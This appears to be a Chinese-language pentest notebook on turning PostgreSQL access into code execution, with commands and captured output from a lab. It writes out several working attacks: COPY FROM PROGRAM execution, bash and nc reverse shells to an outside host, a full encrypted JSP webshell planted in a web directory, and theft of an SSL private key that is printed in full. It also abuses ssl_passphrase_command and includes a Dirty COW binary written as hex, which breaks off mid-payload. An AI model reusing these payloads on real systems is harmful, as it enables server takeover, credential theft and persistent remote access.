   Name    |  Owner   | Encoding |  Collate   |   Ctype    | ICU Locale | Locale Provider |   Access privileges   
-----------+----------+----------+------------+------------+------------+-----------------+-----------------------
 postgres  | postgres | UTF8     | en_US.utf8 | en_US.utf8 |            | libc            | 
 template0 | postgres | UTF8     | en_US.utf8 | en_US.utf8 |            | libc            | =c/postgres          +
           |          |          |            |            |            |                 | postgres=CTc/postgres
 template1 | postgres | UTF8     | en_US.utf8 | en_US.utf8 |            | libc            | =c/postgres          +
           |          |          |            |            |            |                 | postgres=CTc/postgres
(3 rows)

postgres=# CREATE TABLE cmd_exec(cmd_output text);
CREATE TABLE
postgres=# COPY cmd_exec FROM PROGRAM 'id';
COPY 1
postgres=# SELECT * FROM cmd_exec;
                               cmd_output                         
------------------------------------------------------------------------
 uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)
(1 row)

postgres=# DROP TABLE IF EXISTS cmd_exec;
DROP TABLE
postgres=# CREATE TABLE cmd_exec(cmd_output text);
CREATE TABLE
postgres=# COPY cmd_exec FROM PROGRAM 'whoami';
COPY 1
postgres=# SELECT * FROM cmd_exec;
 cmd_output 
------------
 postgres
(1 row)

过滤了 drop 关键字

PostgreSQL TRUNCATE TABLE | 菜鸟教程 (runoob.com)open in new window

-- 如果 drop 关键字被过滤的话,那么可以直接先创建,后面可以通过 truncate table 在执行命令之前清除行数据,我这不知道为什么没删除。
truncate table cmd_exec;copy cmd_exec from program 'id';
select * from cmd_exec;

======== e.g.
postgres=# truncate table cmd_exec;copy cmd_exec from program 'id';
^CCancel request sent
ERROR:  canceling statement due to user request
COPY 1
postgres=# select * from cmd_exec;
                               cmd_output                           
------------------------------------------------------------------------
 uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)
 uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)
(2 rows)

反弹 shell

# attack 机器上开启监听
nc -lvnp 7777

# 执行命令
drop table if exists cmd_exec;create table cmd_exec(cmd_output text);copy cmd_exec from program '/bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.202.61/7777 0>&1"';

======== e.g.
# payload
postgres=# drop table if exists cmd_exec;create table cmd_exec(cmd_output text);copy cmd_exec from program '/bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.202.61/7777 0>&1"';
DROP TABLE
CREATE TABLE

# 接收机器
┌──(root㉿kali)-[/home]
└─# nc -lnvp 7777                                                         
listening on [any] 7777 ...
connect to [192.168.202.61] from (UNKNOWN) [192.168.200.187] 37856
bash: cannot set terminal process group (465): Inappropriate ioctl for device
bash: no job control in this shell
postgres@59d03377e663:~/data$ 

postgres@59d03377e663:/tmp$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
postgres:x:999:999::/var/lib/postgresql:/bin/bash

命令执行流量

image

image

写文件 Getshell

COPY

一般目标都会部署 Web 应用,把 webshell 写到 Web 目录下可 getshell。

# postgresql 9.3 开始引入 COPY 特性

-- 方法一:copy from program
drop table if exists mobtest;
create table mobtest(t text);
insert into mobtest(t) values ('test by mob');
select * from mobtest;
copy mobtest(t) to '/tmp/shell.txt';
drop table mobtest;

-- 方法二:copy to
copy  (select 'test by mob') to '/tmp/shell.txt';

======== e.g.
postgres@59d03377e663:/tmp$ ls
shell.txt
postgres@59d03377e663:/tmp$ cat shell.txt
test by mob

/home/cmm/web/webapp/tempSession.jsp

drop table if exists mobtest;
create table mobTest (t TEXT);
insert into mobTest(t) values ('<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="88bb9dbfc92ad6fb38";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>');
select * from mobTest;
copy mobTest(t) to  '/home/cmm/web/webapp/tem.jsp';
drop table mobTest;


-- 将要写入的内容保存到一个变量中
DO
$$
DECLARE
  file_content TEXT := '<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="88bb9dbfc92ad6fb38";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>';
BEGIN
  -- 将内容写入到服务器文件
  PERFORM pg_write_file('/home/coremail/web/webapp/tempp.jsp', file_content);
END
$$
LANGUAGE plpgsql;

========
ERROR:  function pg_write_file(unknown, text) does not exist
LINE 1: SELECT pg_write_file('/home/cbb/web/webapp/tempp.jsp', ...
               ^
HINT:  No function matches the given name and argument types. You might need to add explicit type casts.
QUERY:  SELECT pg_write_file('/home/cbb/web/webapp/tempp.jsp', file_content)
CONTEXT:  PL/pgSQL function inline_code_block line 6 at PERFORM

写配置文件

所有的操作仅需 select 进行,非堆叠注入可考虑,linux 下专用。

第一步:获取配置文件内容

  1. 获取配置文件的内容
-- 查询配置文件目录
select setting from pg_settings where name='config_file';
                 setting              
------------------------------------------
 /var/lib/postgresql/data/postgresql.conf
(1 row)
  1. 利用 lo_import​​ 读取配置文件,指定 loid 为 1234
# 对应为第一步查询到的配置文件路径
# 导入配置文件到大对象中,指定 oid 为 1234
postgres=# select lo_import('/var/lib/postgresql/data/postgresql.conf', 1234);

扩展

# 查询已有大对象
postgres=# SELECT oid, pg_size_pretty(pg_total_relation_size(oid)) AS size
FROM pg_largeobject_metadata;

# 删除大对象
postgres=# SELECT lo_unlink(1234);

# 查询当前用户是否具有执行 lo_import 的权限
postgres=# SELECT oid FROM pg_proc WHERE proname = 'lo_import';
 oid 
-----
 764
 767
(2 rows)

postgres=# SELECT has_function_privilege('postgres', 764, 'EXECUTE');
 has_function_privilege 
------------------------
 t
(1 row)

# 查看是否成功写入大对象
postgres=# SELECT data FROM pg_largeobject WHERE loid = 1234;

# 在有 shell 的情况下(测试情况),可以将它写出到指定目录查看
SELECT lo_export(1234, '/tmp/psqlconf.txt');

========
postgres@325c972b06d4:/tmp$ ls
psqlconf.txt
  1. 查询对应 loid,获取并还原配置文件内容
select string_agg(data,'') from pg_largeobject where loid='1234';

:1234

-- 会出来一大堆,可以使用
psql -c "select string_agg(data,'') from pg_largeobject where loid='1234';" | grep -P '\\x'

======== e.g.
┌──(root㉿kali)-[~]
└─# psql -h 192.168.201.156 -U postgres -c "select string_agg(data,'') from pg_largeobject where loid='1234';" | grep -P '\\x'                         
Password for user postgres: 

或者读取到文件中
┌──(root㉿kali)-[/tmp]
└─# psql -h 192.168.201.156 -U postgres -c "select string_agg(data,'') from pg_largeobject where loid='1234';" > /tmp/text.conf
Password for user postgres: 

image

  1. 还原读取的配置文件
┌──(root㉿kali)-[/tmp]
└─# ls
systemd-private-fce893ee5911472fafe6a86f91b3fa49-haveged.service-xWDWz6
systemd-private-fce893ee5911472fafe6a86f91b3fa49-ModemManager.service-G0dMh1
systemd-private-fce893ee5911472fafe6a86f91b3fa49-systemd-logind.service-RUHDJG
text.conf

# 读取 text.conf 文件的内容(hex),并使用 xxd 命令将其转换为可读字符并输出                                                                                              
┌──(root㉿kali)-[/tmp]
└─# cat text.conf| xxd -r -p > text.txt

image

第二步:构造带 passphrase 的 ssl_key_file 并写入大对象

  1. 查看还原后的配置文件中 ssl_key_file 的路径
┌──(root㉿kali)-[/tmp]
└─# cat text1.conf| xxd -r -p | grep "ssl_key"
#ssl_key_file = 'server.key'

image

  1. 直接读取 /etc​ 下的 /etc/ssl/private/ssl-cert-snakeoil.key​,读取 ssl_key_file 的内容
-- 能不能读取根据设置而定,实战中遇到的可以直接读取,vulhub 的则没有开启权限
select pg_read_file('/etc/ssl/private/ssl-cert-snakeoil.key');

-- 如果报错:不允许绝对路径
postgres=#  select pg_read_file('/etc/ssl/private/ssl-cert-snakeoil.key');
ERROR:  absolute path not allowed

-- 使用相对路径,一般 psql 数据路径为 /var/lib/postgresql/data
select pg_read_file('../../../../ssl/private/ssl-cert-snakeoil.key');
-- ERROR:  path must be in or below the current directory

-- 也可以使用下面这种方式进行读取
drop table if exists sslkey;
create table sslkey(body text);
copy sslkey from '/etc/ssl/private/ssl-cert-snakeoil.key';
select string_agg(body,'')::sslkey from sslkey;

======== e.g.
ERROR:  malformed record literal: "-----BEGIN PRIVATE KEY-----MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDYPvYxgBzDYB1jNr0YeLdCM/8gRV50UDWuPQq2vzCqyaU68YenFMroA0rRyGBobe7Kz1UOgBnqamQwvty/svxo7mQzcOBvE5ZLJiAvQSaq+qnaGs458M3XZfLspPhk7G3SQT85TeUrzoqRIVbFI3xN1biVdP+eKsHzY2JEdqWPMLjkjnKgPN0KdE0+3GOYxblXuBxAg/yQ3IB6TXi/jnNcrigGHw3gg2K0E+4wk1CvksKrOdig3YdaP7z/jeQkHud2GGs0W3lp3FCdaBp053o2jvm1i3YBu+iWlw0xeqWph4ob7agBhdB65KyYB4Hl6l3hroiB2FqdSI73Gi6uz7v/AgMBAAECggEAeV9db4somcBovjcLC6E1usLUf5hv23jpqFI6oTfOaQ2k3+CQ8waInJC8feKpufN6A/s7Elh0M05jzbhSzoX3hi3Hr9e7IJ0tziAoEF3RBkaK7w/8kCjIYA2ou4ocoQjS2yAkDFXcOypCPBMqUJwKOOWsJLb2giAdnC48CZFOe38kPlTUZPaRJF8XC6mvNGXsp5v/6txCUgPllUDmJ0blHsr1iQ0ONK943A1VOji4RhiCiaRGCeQOUmnc19RkTo8+m5uPxpu+nsf5C/3OC43On8BXHKOkdroL1e3uevgRi26uI+wgQ8mL1bo/mlNyXTbKH4YfhMtoGRqPg7VMnN14AQKBgQD/tKGezUtMxpIU2/wIVYfvRHZgwiXsFT7sKHvQDv7M0k0MfdVTo9+SePJN9FYjFJfr7k8mz7aL2vCJ4Bsl2eZpN4jp/wotXRgwqtzfTJJi3S5VRfMnH6WlEVHuZQ9yluOWP3TngaGDjxEk7axtpQCL8nM0StLBgKPVmbxL6lC4wQKBgQDYfrMgs1q/2RhCHEYOqlF90NSN5xDOIO5eXHa3OFIY+Lq3ZfkrP3CbtCDy6vc7MtwLnZRJfgNK2MewRYWzPtaFvaeWy6zK6zP61uF1qfnSjNRmxHt1yNH8lsu3ETBt9D1Uf08wL99Kz4AW8dKx7Kq+St+UuTqDJN10OgjPYIrkvwKBgQDCzdHzMWOUchMIYS95CfAtkHK+9Cn/2Y++SnlI4KOtVunsAlFrDwVciVfPm72jrCSxUTRr1QK1OW7XGyyTgZXPwsdDvVD7jljHeuQaGjPLrcWGoWvE+o8vWiqY+9Tw75Mi++UMGe36VBwzjf426eWouGScCgTV9jLan+ybyT8GAQKBgQCdw4apl8nT8FIbKxtqaHdGJj4ewnmenKTYIq1oSySYifkW2LrA51QaQyOXod5UR3XPCSAchjXD/0FVlPQfcPVHNLPB0d6zaL7SVnCqHBmvc2z9DsWhSZysYv9FAsO1/LwMrVF5ngksLRX8onCVtA+g6FMRwAGBvAWdQwVUidftZQKBgQC5usygrcHl/MtARkahD2+2v+JKcPmvPwiSmD8aj+7QQk/FuocLK3EG66MCSKsxycXzjzR3d6tpSrg3dDZpkyFuFemwFw0gK2KWscKkcUx8JC3FidxmaSGzO0N2pjKc5eKS07OKK9fEA9ulAfCTvC1pGHlUd4wzeiNaBoZMhcP+XA==-----END PRIVATE KEY-----"
DETAIL:  Missing left parenthesis.

image

​​​image​​

  1. 将上面读取到的格式化后的 private key 保存为 pgsql-ssl-cert-snakeoil.key​,存放在 kali 的 /tmp 目录【实际上格式化只要保证开头和两边的 + 删除掉就可以】

    私钥文件格式:openssl​ 需要私钥文件采用特定的格式。OpenSSL 所期望的格式,通常情况下,私钥文件应该是 PEM 格式的,以 -----BEGIN PRIVATE KEY-----​ 开头。

image

  1. 通过 openssl 构造一个带 passphrase 的 ssl_key_file​​,passphrase 可任意
openssl rsa -aes256 -in /tmp/pgsql-ssl-cert-snakeoil.key -out /tmp/ssl-passphrase.key

image

  1. 将文件 ssl_key_file​ 的内容以十六进制表示打印出来,并通过 tr -d '\n'​ 命令删除其中的换行符
┌──(root㉿kali)-[/tmp]
└─# cat /tmp/ssl-passphrase.key | xxd -pe | tr -d '\n'
2d2d2d2d2d424547494e20454e435259505445442050524956415445204b45592d2d2d2d2d0a4d4949464c54425842676b71686b69473977304242513077536a417042676b71686b6947397730424251777748415149686c2b494745306e33794543416767410a4d41774743437147534962334451494a425141774851594a59495a4941575544424145714242436a715a544b6456754b766e41786a67716657795978424949450a304555672b635630544b514a4346617a4847314e76755a6d68494a34346e536a50636e3843686f76637034336b694b6b5552735237446767794c306f6975764e0a41313273595148526c5048534147416e554741376c7532634459777a684a39534b6773794862336b78746338795154303335514f51446e2f6542463561376c480a70622f66565173662b776e727269664f6544557848784b476a614f592b54454a666c30556a4c66704c39724e6f584c712f7574587a454567477a424837772f340a666c4147756c366c5344617a54354d35686542564363684e3553565a6c314d434d746b2f4e35546368537a464a524d793978535954375734375a7171656e44740a39384e47564676763447525a614477524b314f644d302f32435a6d7949776c376f396e4f71442f326155662f61533336515971484d4469644371374e6a6d4a620a446e7869536f397561584f63784f775a6b36596b6b48784843755375484961753141572f472b706a743248346e4f74686a4c452b79395a7854676162796465610a76703739396561325437475644335a5875355948476556747249667a776247712b6246577751727973353549714655557147306a57314c767474624e574372440a414e654a306c783550325342316f555070755070386978743058705255644f762f6665556d6b487470786e41304771785a4a566a4f6a3456726c734c6c76496a0a715975393832306378643154756838754543362b5350467754313366767432656747596b3870747a576b78654c5252363345544e6d725a3972486b735966715a0a7575534750762f49563377766d5244774b43574f73396e773930496b646c476c7a497a4635795749347458632b64626f6f5432713554302f7676616e782f477a0a69465a6d4577743832744147314a7048626d4a706f68653678765630486f6c3674556d694639793576704d777335776c596e724c43304770456a5a52377947480a544954304a38386e6a57516857667772757a5141756d7333657a76637a59647369506171487169466a5a69386b6158464a6b78624b5a596b52754233685369650a7461532f574868424d577958662f2b3030353055616544525a374735674372584c44676a6d5255504d51425262394c2b437165446879314b35712f31775854450a6c6e314c4c5747684338376c4351675049526f744c496b584351524631787758364378362f566531324257516d516150794371624e6544763375532b784556320a7a35544b6d516b6663634738617351736c6b4f303355316b46335656743641504b2b4157556d6f69754f306f653241682f4663514e6a396a615856306b6252670a717164684f6668454c59704e4b66794d43734536536e664747345549536e6232466b77616976352f6b5572303769715775536169586b705a6e6b53687a2b516e0a63564344413443675947424e4c31502b35504d545149383047596262624757364f495934333130507939663459763350696874743764643669743938413753440a3045725063313537745933383472593743356e7278656c4d53746e4b70682f754d586545724c456b564c714a63534c77384a78787555646f555a6539466464450a3472673633674f74424956635237442f6d375a31796c6f476e684668443551387072654d6c6e63775a69534f55775536517155384647724d4469697a55584c7a0a6442316d67353831664a3356346953385052612f2f536d4836666262312f5a693870616e5176504a30586c38366f4b78364f5a623135385858724359787757690a356930463269306462426973545964454a3851542f3572434131414378444b44385a656c6a454b756467335457427a393869612b4249544243415277703869390a5242616663636d7531764a31357677424866456c776a5a4731636e7a32672b664f34686742615a365431684c4b4638495961696f785645796374524a315948630a4b47636e4e4d31494976507631724f55636666437847766f3149554353457574495848626e536270362b4272496e3661596a36436a7257506d702f38704f306c0a7a534459693642376f79705a437668486471313972465970516338617a4c494c6a6e7857574a30464c312f2f4f506133612b496b2b5a65304e714a30546a646b0a426c52794f456e79787347684b4a434a4b5a45586d4d6d6442587a667553374156645433663069634a61574678714c6b67546a55473139716869364a2f5a7a720a326c576831355744437637786639476434504f655768754d2b344d44455a634e65456f5544376c61687762750a2d2d2d2d2d454e4420454e435259505445442050524956415445204b45592d2d2d2d2d0a
  1. 利用 lo_from_bytea​ 写入构造后的 ssl_key_file 内容
select lo_from_bytea(4321,'\x2d2d2d2d2d424547...4b45592d2d2d2d2d0a');

-- 语句过长时可采用 lo_put 分次写入
select lo_from_bytea(4321,'\x2d2d2d2d2d');
select lo_put(4321,5,'\x424547...');
...
select lo_put(4321,1790,'\x2d2d2d2d2d0a');

image

image

完整实例

select lo_from_bytea(4321,'\x2d2d2d2d2d424547494e20454e435259505445442050524956415445204b45592d2d2d2d2d0a4d4949464c54425842676b71686b69473977304242513077536a417042676b71686b6947397730424251777748415149374338354441355a797a5543416767410a4d41774743437147534962334451494a425141774851594a59495a494157554442414571424242367265737131613938636464463635785649687147424949450a304f6577693054316b564d48786e31766d30756143414d472b6f54795072487a676c78377330356658486d6d3256756833445a67714b7856374c7a614c4633680a6154576e6d2f4e4b305938627151726b5175316853675273514345354168397759417938484350627a7a4978483965424c584b6447385452325236354b6456380a6a534c336236627463494b654357636c4d6947644c5268526a453252322f455846376f42776d2b71584956485048754f64484d684b3551667158362b3068327a0a4e35746d636a6c6e6f754646684648326b6c526f76487438432b6c325931473779314856485878584c6355753439396c46442f596270507554557a7a724642630a74744945487a6f62436f75654963342b546e2f594752345a674a664759696162414b2b7a7549393359322f543133423879475658534463733976633453324d480a37534a49305a762b4c4b6d4f5a75623348536b4445375131674a6a6f2f38577a63563939747175522b5a7350656468486e66473739464b70796b743957355a670a794530766a776d74646e4a45486f4f474335677a716f696f66726f663773374b776a6c5a334e305967526e6855764633704b4f532b672b57714f32514653356c0a566742725479685972593934664f6d3050524b524b516252766365686f703563416c764a2f7953385238653855353742385258536c475754717a75336b696d560a684365655666334650546854365a324447342b526365363738546d533046514678746f64345050462b664a48484f6664367258654e587a3263423138445a73700a72747341464753507a2b6e6f776a5a4e6b69426430624b704438784b374f304d58735a6c65396b573565554d7935495637774430714c693044313338326c702f0a312b6442566b5734675439594c62354a2b6e7838393577635156614e386466383162476c462f6c39734f374b3239724a734333626863777757384668792f434f0a2b51327967682b6c5344422b52756a496a484169743170736252417069752b49346a4f5a62456d34426c6d6e4368336e716c5572647a57726e533944323938480a566e533456566d53534f794c7a49677a6b313834594e78786a6c5a74394d4e546551663243486f6e61484476684d66584a473047747a4a5a6a3541375a4732550a344a7032455474787a544e3669384a4f464d75706d377168327830736c4c4635644f795a534c4b42766a456a4f634544666c34302f64507956382f747a594f680a424b35764e72367a7377386974694d37325671527132344a4b6242313935585842585a584b6c36457756653449614a6d4e48796f4d314c446f5576503378634d0a646a492f335132334f754455734f6b462f46457246676451637837635069457143633334413651504962377a6f725a53697435517a387a54446a7a625839624c0a796758722b423457636f6d684f73562b4c6f6d7a6f5255782b6f384d416b54776c7243693053732f49523449573636423959726432646e64503537416d7778780a77456f376c767a375a6a4275594e41645633766750662b3668733235656b5158537a4365685537525055786865302f71564c476f7035594a34586f6c594d72630a354571726d6374644e6e4378796643304a447a6a44584d3267646759562b3541326830784463304546665a5a4f6b354f5838486b54624a724645426d767656390a464f6146537368554f4a5568395548624a72745870682f66696670414b33546339704d30596c52716e6c4747385134466f2b644a687543546b747946487176750a6b2f5a646a4b316147326a555379317559553470374949303139376e7a38313754364d6946753771525257733951655457623256374c4f5a4d7168665a6d49760a4e786f552b503066386852736c356746394c6347312f5871494b7774477a71556e4c65695564422f6b77715242717761634156733676347964685979414b38690a49676d305151646c557752464a32645776626a556161734f367532396e4d50726647712f36543056534d30316348657654644132763054784b6c5236484e534e0a47424b576f6733334f6a5546524867475032416f444a4e746b517377486e436f6e786275476a484c543855754d35556f7079416e6d576a4a4f66355a663847370a546a6641617549314270323934644c36597934316279714b6566743559493442436b6962505452784c68304a51416c5135516153577938526c5657354d6e31640a397377524e62622b58443175594a43447373544834494b425659436f4d6f653850472f52346d534f5875676b0a2d2d2d2d2d454e4420454e435259505445442050524956415445204b45592d2d2d2d2d0a');

查看是否成功写入到大对象 4321

psql -h 192.168.201.156 -U postgres -c "select string_agg(data,'') from pg_largeobject where loid='4321';" > /tmp/4321.txt

cat /tmp/4321.txt | grep -P '\\x'

image

第三步:修改表中配置文件内容 & reload getshell

  1. 查看还原后的 ssl_key_file 所在位置,利用 lo_put 注释掉该行内容
# 还原文件
┌──(root㉿kali)-[/tmp]
└─# cat text1.conf| xxd -r -p > text1.txt

# 查看位置                                                                                                                                                                                                                                                                                
┌──(root㉿kali)-[/tmp]
└─# cat /tmp/text1.txt | grep -b --binary-files=text ssl_key_file
3477:#ssl_key_file = 'server.key'

image

# 注释掉该行,这个环境本身就是注释掉的,无需执行这一步
select lo_put(1234,3477,'\x23');
  1. 准备 **command.txt ** 文件,并将其内容输出为 16 进制字符
# 转换 command.txt 为 16 进制
┌──(root㉿kali)-[/tmp]
└─# cat /tmp/command.txt | xxd -pe | tr -d '\n'

一般情况下 command.txt ** ** 文件内容如下:

ssl_key_file = '/var/lib/postgresql/data/PG_VERSION'
ssl_passphrase_command_supports_reload = on
ssl_passphrase_command = 'bash -c "test -p /dev/shm/pipe || mkfifo /dev/shm/pipe; nc 192.168.202.61 7777 < /dev/shm/pipe | /bin/bash > /dev/shm/pipe & echo passphrase; exit 0"'
  1. 查看配置文件总长,并在最后添加三行配置用于执行命令
# 查看配置文件总长
┌──(root㉿kali)-[/tmp]
└─# wc -c /tmp/text1.txt                                                                      
22796 /tmp/text1.txt

# 将 command.txt 的 16 进制内容写入配置文件
select lo_put(1234,22795,'\x73736c5f6b65795f66696c65203d20272f7661722f6c69622f706f737467726573716c2f646174612f50475f56455253494f4e270a73736c5f706173737068726173655f636f6d6d616e645f737570706f7274735f72656c6f6164203d206f6e0a73736c5f706173737068726173655f636f6d6d616e64203d20272f746d702f626173687368656c6c2e7368270a');

# 将大对象的内容写入配置文件并 reload
select lo_export(1234,'/var/lib/postgresql/data/postgresql.conf');
select lo_export(4321,'/var/lib/postgresql/data/PG_VERSION');
select pg_reload_conf();

​​image

但是 shell 没弹回来,换脚本文件试试。。。

对于 ssl_passphrase_command​ 参数来说,它的值可以是一个可执行的外部程序或脚本。在第一种写法中,提供的命令本身已经是一个可执行的命令字符串,不需要使用脚本来封装它。然而没有 nc,只能使用脚本文件的形式。

command.txt

ssl_key_file = '/var/lib/postgresql/data/PG_VERSION'
ssl_passphrase_command_supports_reload = on
ssl_passphrase_command = '/tmp/bashshell.sh'

将内容写入脚本文件中,还是失败了。。。放弃了。

copy  (select '/bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.202.61/8888 0>&1"') to '/tmp/bashshell.sh';

弹来弹去的没搞成。成功的案例看下面这个师傅的吧。。。https://www.x1a0t.com/2020/05/25/Attack-Database-Postgresql/open in new window

image

Linux 提权

通过 postgreSQL 提权漏洞,我们可以执行 linux 系统命令了,接下来需要提权到服务器的 root 权限。但是为 postgres 权限且在 Docker 中。

收集相关系统信息:https://github.com/rebootuser/LinEnumopen in new window

uname -a    打印所有可用的系统信息
uname -r    内核版本
uname -n    系统主机名。
uname -m    查看系统内核架构(64位/32位)
hostname    系统主机名
cat /proc/version    内核信息
cat /etc/*-release   分发信息
cat /etc/issue       分发信息
cat /proc/cpuinfo    CPU 信息
cat /etc/lsb-release # Debian 
cat /etc/redhat-release # Redhat

suid 提权

找到系统上运行的所有 suid 可执行文件,sad 没有可以利用的。

postgres@59d03377e663:/$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/bin/mount
/bin/su
/bin/umount
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/passwd

脏牛提权

用到 echo 命令写入二进制文件

-- 静态编译文件
┌──(root㉿kali)-[~/Desktop/dirtycow-master]
└─# gcc ./dirty.c -static -o dirty -lpthread -lcrypt
                                                                             
┌──(root㉿kali)-[~/Desktop/dirtycow-master]
└─# ldd dirty
        not a dynamic executable

-- 结合 postgresql 通过 echo 写入文件
drop table if exists mobtest;
create table mobtest(cmd_output text);
-- 使用下面的命令写入提权文件
select * from cmd_exec;

COPY cmd_exec FROM PROGRAM '/bin/bash -c ''echo -e -n "\x33" >> /tmp/dirty''';

copy mobtest from program '/bin/bash -c ''echo -e -n "\x7F\x45\x4C\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x3E\x00\x01\x00\x00\x00\xC0\x11\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\xA8\x3C\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x38\x00\x0D\x00\x40\x00\x1F\x00\x1E\x00\x06\x00\x00\x00\x04\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\xD8\x02\x00\x00\x00\x00\x00\x00\xD8\x02\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x04\x00\x00\x00\x18\x03\x00\x00\x00\x00\x00\x00\x18\x03\x00\x00\x00\x00\x00\x00\x18\x03\x00\x00\x00\x00\x00\x00\x1C\x00\x00\x00\x00\x00\x00\x00\x1C\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xD0\x0B\x00\x00\x00\x00\x00\x00\xD0\x0B\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x69\x08\x00\x00\x00\x00\x00\x00\x69\x08\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x60\x03\x00\x00\x00\x00\x00\x00\x60\x03\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\xC0\x2D\x00\x00\x00\x00\x00\x00\xC0\x3D\x00\x00\x00\x00\x00\x00\xC0\x3D\x00\x00\x00\x00\x00\x00\x28\x03\x00\x00\x00\x00\x00\x00\x10\x04\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x06\x00\x00\x00\xD0\x2D\x00\x00\x00\x00\x00\x00\xD0\x3D\x00\x00\x00\x00\x00\x00\xD0\x3D\x00\x00\x00\x00\x00\x00\xF0\x01\x00\x00\x00\x00\x00\x00\xF0\x01\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x04\x00\x00\x00\x38\x03\x00\x00\x00\x00\x00\x00\x38\x03\x00\x00\x00\x00\x00\x00\x38\x03\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x04\x00\x00\x00\x58\x03\x00\x00\x00\x00\x00\x00\x58\x03\x00\x00\x00\x00\x00\x00\x58\x03\x00\x00\x00\x00\x00\x00\x44\x00\x00\x00\x00\x00\x00\x00\x44\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x53\xE5\x74\x64\x04\x00\x00\x00\x38\x03\x00\x00\x00\x00\x00\x00\x38\x03\x00\x00\x00\x00\x00\x00\x38\x03\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x50\xE5\x74\x64\x04\x00\x00\x00\xE0\x21\x00\x00\x00\x00\x00\x00\xE0\x21\x00\x00\x00\x00\x00\x00\xE0\x21\x00\x00\x00\x00\x00\x00\x4C\x00\x00\x00\x00\x00\x00\x00\x4C\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x51\xE5\x74\x64\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x